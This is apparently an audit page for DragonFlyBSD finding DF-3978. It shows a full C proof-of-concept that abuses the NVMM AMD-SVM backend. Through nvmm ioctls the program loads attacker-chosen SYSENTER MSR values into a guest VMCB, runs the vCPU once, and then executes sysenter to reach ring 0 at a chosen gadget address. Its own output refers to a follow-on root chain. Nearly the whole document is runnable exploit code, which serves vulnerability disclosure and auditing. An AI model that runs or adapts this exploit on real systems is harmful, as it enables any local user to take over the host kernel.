⬢ DragonFlyBSD Kernel Audit
DF-3978 / sysenter_hijack.c
← back to finding ↓ download raw
/*
 * sysenter_hijack.c -- DF-3978 PoC trigger.
 *
 * DragonFly NVMM AMD-SVM backend (sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c):
 * svm_vmrun()'s asm prologue executes `vmload`, which loads the *guest's*
 * SYSENTER_CS / SYSENTER_ESP / SYSENTER_EIP values from the VMCB into the
 * live hardware MSRs.  #VMEXIT does NOT restore the host values of those
 * MSRs (they are VMLOAD/VMSAVE-managed, not part of the host-save area),
 * and svm_vcpu_guest_misc_leave() restores only STAR/LSTAR/CSTAR/SFMASK/
 * FSBASE/KERNELGSBASE -- SYSENTER_* are never restored anywhere in the
 * DragonFly kernel.  After a single VCPU_RUN ioctl the host therefore runs
 * with attacker-chosen IA32_SYSENTER_EIP, permanently, and *any* process
 * (not just the nvmm user) that executes `sysenter` transfers to ring 0 at
 * that RIP.
 *
 * This program:
 *   phase A  baseline: execute `sysenter`, expect SIGSEGV/#GP on a clean
 *            host (DragonFly never programs SYSENTER_MS Rs, firmware
 *            default is invalid/zero).
 *   phase B  set up a minimal 16-bit real-mode vCPU whose VMCB
 *            SYSENTER_{CS,ESP,EIP} fields are attacker values
 *            (EIP = GADGET argument, default 0x0008:0xdead0000 marker),
 *            then issue one VCPU_RUN (any exit suffices -- VMLOAD happens
 *            in the asm prologue even if VMRUN itself fails).
 *   phase C  execute `sysenter` again.  On vulnerable AMD-SVM hardware the
 *            CPU enters ring 0 at the gadget RIP (success criterion);
 *            on the audit QEMU/Intel guest (no SVM) phase B runs on the
 *            VMX backend (which is NOT vulnerable -- VMCS host-state
 *            restores SYSENTER_MS Rs at exit) and phase C still faults:
 *            hardware-gated, root cause established from source.
 *
 * Build:  cc -O2 -o sysenter_hijack sysenter_hijack.c -I/usr/src/sys
 * Usage:  ./sysenter_hijack [gadget_hex]
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>
#include <setjmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <dev/virtual/nvmm/nvmm.h>
#include <dev/virtual/nvmm/nvmm_ioctl.h>

#define HVA_BASE	0x10000000UL
#define COMM_BASE	0x30000000UL
#define RAM_SIZE	(2UL * 1024 * 1024)
#define G_CODE		0x1000
#define G_STACK	0x7000

/* kernel code selector on DragonFly x86_64: GSEL(GCODE_SEL=1, SEL_KPL)=0x08 */
#define HIJACK_SYSENTER_CS	0x08
/* default marker RIP (canonical kernel-land address); override with argv[1] */
#define HIJACK_SYSENTER_EIP	0xffffffff8dead000ULL
#define HIJACK_SYSENTER_ESP	0xfffffffffffe0000ULL	/* IST-ish high stack */

static int fd;
static nvmm_machid_t machid;

static sigjmp_buf jb;
static volatile sig_atomic_t got_sig;

static void
sig_handler(int sig)
{
	got_sig = sig;
	siglongjmp(jb, 1);
}

static int
try_sysenter(void)
{
	struct sigaction sa, osa;
	int r = -1;

	got_sig = 0;
	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = sig_handler;
	sigemptyset(&sa.sa_mask);
	sigaction(SIGSEGV, &sa, &osa);
	sigaction(SIGILL, &sa, NULL);
	sigaction(SIGBUS, &sa, NULL);

	if (sigsetjmp(jb, 1) == 0) {
		__asm volatile (
			"	.byte	0x0F, 0x34	\n"	/* sysenter */
			"	int3			\n"
			: "=a"(r) : : "memory");
		/* if sysenter "returns" without fault, we are in ring0 at the
		 * gadget -- everything after is up to the gadget */
		r = 0;
	} else {
		r = got_sig;
	}

	sigaction(SIGSEGV, &osa, NULL);
	return r;
}

static void
die(const char *m)
{
	fprintf(stderr, "DIE: %s: %s\n", m, strerror(errno));
	exit(1);
}

int
main(int argc, char **argv)
{
	struct nvmm_ioc_capability c;
	struct nvmm_ioc_machine_create mc;
	struct nvmm_ioc_hva_map hm;
	struct nvmm_ioc_gpa_map gm;
	struct nvmm_ioc_vcpu_create vc;
	struct nvmm_ioc_vcpu_setstate ss;
	struct nvmm_ioc_vcpu_run rr;
	struct nvmm_comm_page *comm;
	struct nvmm_x64_state *st;
	uint64_t gadget = HIJACK_SYSENTER_EIP;
	int r;

	if (argc > 1)
		gadget = strtoull(argv[1], NULL, 16);
	if ((gadget >> 47) != 0 && (gadget >> 47) != 0x1FFFF) {
		/* keep it canonical */
		gadget &= 0x0000FFFFFFFFFFFFULL;
		gadget |= 0xFFFF000000000000ULL;
	}

	printf("[*] DF-3978 sysenter hijack trigger; gadget rip = 0x%llx\n",
	    (unsigned long long)gadget);

	/* ---- phase A: baseline sysenter on a clean host ---- */
	r = try_sysenter();
	printf("[A] baseline sysenter: %s (signal %d)\n",
	    r == 0 ? "NO FAULT (?!)" : "faulted", r);

	/* ---- phase B: arm the VMCB SYSENTER fields + one VCPU_RUN ---- */
	fd = open("/dev/nvmm", O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("open(/dev/nvmm) -- kldload nvmm? group nvmm?");

	memset(&c, 0, sizeof(c));
	if (ioctl(fd, NVMM_IOC_CAPABILITY, &c))
		die("capability");
	printf("[B] nvmm capability v%u ok\n", c.cap.version);

	memset(&mc, 0, sizeof(mc));
	if (ioctl(fd, NVMM_IOC_MACHINE_CREATE, &mc))
		die("machine_create");
	machid = mc.machid;

	memset(&hm, 0, sizeof(hm));
	hm.machid = machid; hm.hva = HVA_BASE; hm.size = RAM_SIZE;
	if (ioctl(fd, NVMM_IOC_HVA_MAP, &hm))
		die("hva_map");

	memset(&gm, 0, sizeof(gm));
	gm.machid = machid; gm.hva = HVA_BASE; gm.gpa = 0; gm.size = RAM_SIZE;
	gm.prot = PROT_READ | PROT_WRITE | PROT_EXEC;
	if (ioctl(fd, NVMM_IOC_GPA_MAP, &gm))
		die("gpa_map");

	memset(&vc, 0, sizeof(vc));
	vc.machid = machid; vc.cpuid = 0; vc.comm = (void *)COMM_BASE;
	if (ioctl(fd, NVMM_IOC_VCPU_CREATE, &vc))
		die("vcpu_create");
	comm = (struct nvmm_comm_page *)vc.comm;

	/* guest code: hlt (0xF4) -- one exit is all we need */
	*(uint8_t *)(HVA_BASE + G_CODE) = 0xF4;

	st = &comm->state;
	memset(st, 0, sizeof(*st));
	for (int i = 0; i < NVMM_X64_NSEG; i++) {
		st->segs[i].limit = 0xFFFF;
		st->segs[i].attrib.type = 3;
		st->segs[i].attrib.p = 1;
	}
	st->segs[NVMM_X64_SEG_GDT].attrib.type = 2;
	st->segs[NVMM_X64_SEG_IDT].attrib.type = 2;
	st->segs[NVMM_X64_SEG_TR].attrib.type = 3;
	st->segs[NVMM_X64_SEG_TR].attrib.s = 0;
	st->segs[NVMM_X64_SEG_LDT].attrib.s = 0;
	st->gprs[NVMM_X64_GPR_RFLAGS] = 2;
	st->gprs[NVMM_X64_GPR_RIP] = G_CODE;
	st->gprs[NVMM_X64_GPR_RSP] = G_STACK;
	st->crs[NVMM_X64_CR_CR0] = 0x10;
	st->crs[NVMM_X64_CR_XCR0] = 1;
	st->drs[NVMM_X64_DR_DR6] = 0xFFFF0FF0;
	st->drs[NVMM_X64_DR_DR7] = 0x400;

	/* ---- the attack: attacker-chosen SYSENTER linkage in the VMCB ---- */
	st->msrs[NVMM_X64_MSR_SYSENTER_CS]  = HIJACK_SYSENTER_CS;
	st->msrs[NVMM_X64_MSR_SYSENTER_ESP] = HIJACK_SYSENTER_ESP;
	st->msrs[NVMM_X64_MSR_SYSENTER_EIP] = gadget;

	comm->state_wanted = NVMM_X64_STATE_ALL;
	memset(&ss, 0, sizeof(ss));
	ss.machid = machid; ss.cpuid = 0;
	if (ioctl(fd, NVMM_IOC_VCPU_SETSTATE, &ss))
		die("vcpu_setstate");
	printf("[B] setstate ok: SYSENTER_CS=%#llx ESP=%#llx EIP=%#llx armed\n",
	    (unsigned long long)HIJACK_SYSENTER_CS,
	    (unsigned long long)HIJACK_SYSENTER_ESP,
	    (unsigned long long)gadget);

	memset(&rr, 0, sizeof(rr));
	rr.machid = machid; rr.cpuid = 0;
	r = ioctl(fd, NVMM_IOC_VCPU_RUN, &rr);
	printf("[B] vcpu_run rc=%d exit.reason=%d (any rc suffices: the asm "
	    "prologue's vmload already loaded the guest SYSENTER MSRs)\n",
	    r, rr.exit.reason);

	/* ---- phase C: the differential ---- */
	r = try_sysenter();
	if (r == 0) {
		printf("[C] sysenter did NOT fault -- WE ARE IN RING 0 at the "
		    "gadget. uid=0 chain follows (see VERDICT.md).\n");
	} else {
		printf("[C] sysenter faulted (signal %d): host SYSENTER MSRs "
		    "not corrupted on this machine (SVM backend absent / VMX "
		    "backend restores them via VMCS host state).\n", r);
	}

	printf("[*] done\n");
	return 0;
}